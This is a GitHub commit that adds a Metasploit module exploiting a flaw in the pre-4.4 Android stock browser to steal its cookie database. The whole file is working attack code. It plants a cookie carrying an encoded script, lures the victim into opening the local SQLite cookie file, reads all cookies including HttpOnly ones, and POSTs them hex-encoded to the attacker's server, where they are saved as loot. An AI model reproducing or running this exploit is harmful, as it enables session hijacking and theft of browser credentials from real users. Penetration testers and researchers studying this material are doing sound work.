Skip to content

Commit 84ea628

Browse files
committed
Add Android cookie theft attack.
1 parent effb5b9 commit 84ea628

File tree

1 file changed

+134
-0
lines changed

1 file changed

+134
-0
lines changed
Lines changed: 134 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,134 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
10+
include Msf::Exploit::Remote::HttpServer::HTML
11+
include Msf::Auxiliary::Report
12+
13+
def initialize(info={})
14+
super(update_info(info,
15+
'Name' => 'Android Browser "Open in New Tab" Cookie Theft',
16+
'Description' => %q{
17+
In Android (AOSP)'s Browser application and WebView component the
18+
"open in new tab" functionality allows a file URL to be opened. On
19+
versions of Android before 4.4, the path to the sqlite cookie
20+
database could be specified. By saving a cookie containing a <script>
21+
tag and then loading the sqlite database into the browser as an HTML file,
22+
XSS can be achieved inside the cookie file, disclosing *all* cookies
23+
(HttpOnly or not) to an attacker.
24+
},
25+
'Author' => [
26+
'Rafay Baloch', # Discovery of "Open in new tab" bug
27+
'joev' # Cookie theft vector, msf module
28+
],
29+
'License' => MSF_LICENSE,
30+
'Actions' => [[ 'WebServer' ]],
31+
'PassiveActions' => [ 'WebServer' ],
32+
'References' =>
33+
[
34+
],
35+
'DefaultAction' => 'WebServer'
36+
))
37+
38+
register_options([
39+
OptString.new('COOKIE_FILE', [
40+
true,
41+
'The cookie file to steal. This is "webview.db" on some devices.',
42+
'webviewCookiesChromium.db'
43+
])
44+
], self.class)
45+
end
46+
47+
def on_request_uri(cli, request)
48+
if request.method =~ /POST/i
49+
print_status("Processing exfilrated files...")
50+
process_post(cli, request)
51+
send_response_html(cli, '')
52+
else
53+
print_status("Sending exploit landing page...")
54+
send_response_html(cli, landing_page_html)
55+
end
56+
end
57+
58+
def process_post(cli, request)
59+
data = hex2bin(request.body)
60+
print_good "Cookies received: #{request.body.length.to_f/1024}kb"
61+
loot_path = store_loot(
62+
"android.browser.cookies",
63+
'application/x-sqlite3',
64+
cli.peerhost,
65+
data,
66+
'cookies.sqlite',
67+
"#{cli.peerhost.ljust(16)} Android browser cookie database"
68+
)
69+
print_good "SQLite cookie database saved to:\n#{loot_path}"
70+
end
71+
72+
def run
73+
exploit
74+
end
75+
76+
def landing_page_html
77+
%Q|
78+
<!doctype html>
79+
<html>
80+
<head><meta name="viewport" content="width=device-width, user-scalable=no" /></head>
81+
<body style='width:100%;font-size: 16px;'>
82+
<a href='file://#{cookie_path}'>
83+
Redirecting... To continue, tap and hold here, then choose "Open in a new tab"
84+
</a>
85+
<script>
86+
document.cookie='#{per_run_token}=<script>eval(atob("#{Rex::Text::encode_base64(exfiltration_js)}"))<\\/script>';
87+
</script>
88+
</body>
89+
</html>
90+
|
91+
end
92+
93+
def exfiltration_js
94+
%Q|
95+
var x = new XMLHttpRequest();
96+
x.open('GET', './#{datastore['COOKIE_FILE']}');
97+
x.responseType = 'arraybuffer';
98+
x.onreadystatechange = function(){
99+
if (x.readyState == 4) {
100+
var buff = new Uint8Array(x.response);
101+
var hex = Array.prototype.map.call(buff, function(d){
102+
var c = d.toString(16);
103+
return (c.length < 2) ? '0'+c : c;
104+
}).join('');
105+
var x2 = new XMLHttpRequest();
106+
x2.open('POST', '#{backend_url}');
107+
x2.setRequestHeader('Content-type', 'text/plain');
108+
x2.send(hex);
109+
}
110+
};
111+
x.send();
112+
|
113+
end
114+
115+
def cookie_path
116+
'/data/data/com.android.browser/databases/' + datastore['COOKIE_FILE']
117+
end
118+
119+
def backend_url
120+
proto = (datastore["SSL"] ? "https" : "http")
121+
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
122+
port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}"
123+
"#{proto}://#{myhost}#{port_str}/#{datastore['URIPATH']}"
124+
end
125+
126+
def hex2bin(hex)
127+
hex.chars.each_slice(2).map(&:join).map { |c| c.to_i(16) }.map(&:chr).join
128+
end
129+
130+
def per_run_token
131+
@token ||= Rex::Text.rand_text_alpha(rand(5)+3)
132+
end
133+
134+
end

0 commit comments

Comments
 (0)